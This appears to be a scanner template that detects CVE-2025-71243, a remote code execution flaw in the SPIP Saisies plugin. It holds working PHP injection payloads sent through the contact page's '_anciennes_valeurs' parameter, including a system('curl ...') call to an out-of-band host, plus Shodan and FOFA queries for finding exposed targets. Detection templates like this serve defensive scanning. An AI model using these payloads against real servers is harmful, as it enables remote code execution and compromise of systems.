id: CVE-2025-71243

info:
  name: SPIP Saisies - Remote Code Execution
  author: omarkurt
  severity: critical
  description: |
    SPIP Saisies plugin 5.4.0 through 5.11.0 contains a remote code execution caused by an unspecified flaw, letting attackers execute arbitrary code on the server, exploit requires no special conditions.
  remediation: |
    Update to version 5.11.1 or later.
  impact:
    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  reference:
    - https://vulnerability.circl.lu/vuln/cve-2025-71243
    - https://chocapikk.com/posts/2026/spip-saisies-rce/
    - https://github.com/Chocapikk/CVE-2025-71243
    - https://vulnerabletarget.com/VT-2025-71243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-71243
    epss-score: 0.85415
    epss-percentile: 0.99377
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: spip
    product: saisies
    shodan-query: 'http.html:"SPIP"'
    fofa-query: 'app="SPIP"'
  tags: cve,cve2025,spip,rce,oast,vkev

variables:
  rce_payload: "x'/><?php echo md5('{{randstr}}'); ?><input value='x"
  oob_payload: "x'/><?php gethostbyname('{{interactsh-url}}'); ?><input value='x"
  oob_curl: "x'/><?php system('curl+-s+{{interactsh-url}}'); ?><input value='x"

flow: http(1) && (http(2) || http(3) || http(4))

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Composed-By: SPIP")'
          - 'contains(header, "X-Spip-Cache:")'
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(rce_payload)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{md5(randstr)}}")'
          - 'status_code == 200'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_payload)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_curl)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402203544be1b90aa46198b44a81f9c2e25c799e8a736c0d03a56ac9164e61aa272d80220450520e4b97eff3967d2c02c87fabda8829c679a1ec79a14447012cffa424982:922c64590222798bb761d5b6d8e72950